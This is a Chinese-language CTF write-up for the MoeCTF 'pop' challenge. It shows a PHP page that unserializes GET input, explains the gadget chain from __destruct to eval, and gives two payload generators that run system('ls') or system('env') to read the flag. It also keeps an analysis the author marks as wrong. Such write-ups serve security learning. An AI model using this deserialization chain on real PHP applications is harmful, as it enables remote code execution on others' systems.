moecft-pop moe-题解

<?php
class class000 {
    private $payl0ad = 0;
    protected $what;
    public function __destruct(){
        $this->check();
    }

    public function check(){
        if($this->payl0ad === 0){
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke(){
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b){
        $this->$b($this->sec);
    }

    public function dangerous($whaattt){
        $whaattt->evvval($this->sec);
    }
}

class class003 {
    public $mystr;
    public function evvval($str){
        eval($str);
    }

    public function __tostring(){
        return $this->mystr;
    }
}

if(isset($_GET['data'])){
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}
?>

(错的分析)我们看上面那段代码,class002调用了class003的evvval函数,eval执行了$str,$str应该是一个语句,所以$whaattt应该是$class003,sec是system('ls');之类的,__set是个赋值函数,tostring的作用是,比如要打印class003对象,打印的就是mystr。

下面正确

__set( $property, $value )`$a是属性,$b是值

$a = $this->what;

把what给了a,what应该是个对象

dangerous是需要被调用的,我们找找哪里可以调用它

观察到$this->a->payload = $this->payl0ad;

payload只出现了一次,可能是个property,需要赋值,那么$a会不会就是class002,payl0ad就是dangerous

后来发现之前分析不对啊!!!

如果$b(payl0ad)是dangerous

class class002 {
    private $sec;
    public function __set($a, $b){
        $this->$b($this->sec);
    }

    public function dangerous($whaattt){
        $whaattt->evvval($this->sec);
    }
}

$b($this->sec);和dangerous($whaattt),发现,$this->sec和$whaattt,那么sec就不能是语句,应该是个对象!!!,也就是class003.evvval(class003),我们发现如果sec作为参数传入的话,根据tostring,它会被解析为mystr,所以mystr才是语句

因此理一下,函数调用顺序为

destruct()->check()->invoke()->__set()->dangerous()->evvval()->eval()

<?php
class class000 {
    public $payl0ad = 1;
    public $what;
    public function __destruct(){
        $this->check();
    }

    public function check(){
        if($this->payl0ad === 0){
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad = "dangerous";
    public $a;
    public function __invoke(){
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    public $sec;
    public function __set($a, $b){
        $this->$b($this->sec);
    }
    public function dangerous($whaattt){
        $whaattt->evvval($this->sec);
    }
}

class class003 {
   public $mystr="system('ls');";
   public function evvval($str) {
       eval($str);
   }

   public function __tostring()
   {
       return $this->mystr;
   }
}

$what = new class003();
$b = new class002();
$b->sec = $what;
$c = new class001();
$c->a = $b;
$d = new class000();
$d->what = $c;
echo urlencode(serialize($d));
?>

$payl0ad要改成1注意,找flag可以去改语句$mystr,Flag还是在env里面,命令改成system(‘env’);即可

还有其他写法

官方wp:

<?php
highlight_file(__FILE__);
class class000 {
    private $payl0ad;
    protected $what;
    public function __construct(){
        $this->payl0ad = 1;
        $this->what = new class001;
    }
}
class class001 {
    public $payl0ad;
    public $a;
    public function __construct(){
        $this->a = new class002;
        $this->payl0ad = 'dangerous';
    }
}
class class002 {
    private $sec;
    public function __construct(){
        $this->sec = new class003;
    }
}
class class003 {
    public $mystr;
    public function __construct(){
        $this->mystr = "system('env');";
    }
}
echo urlencode(@serialize(new class000));
?>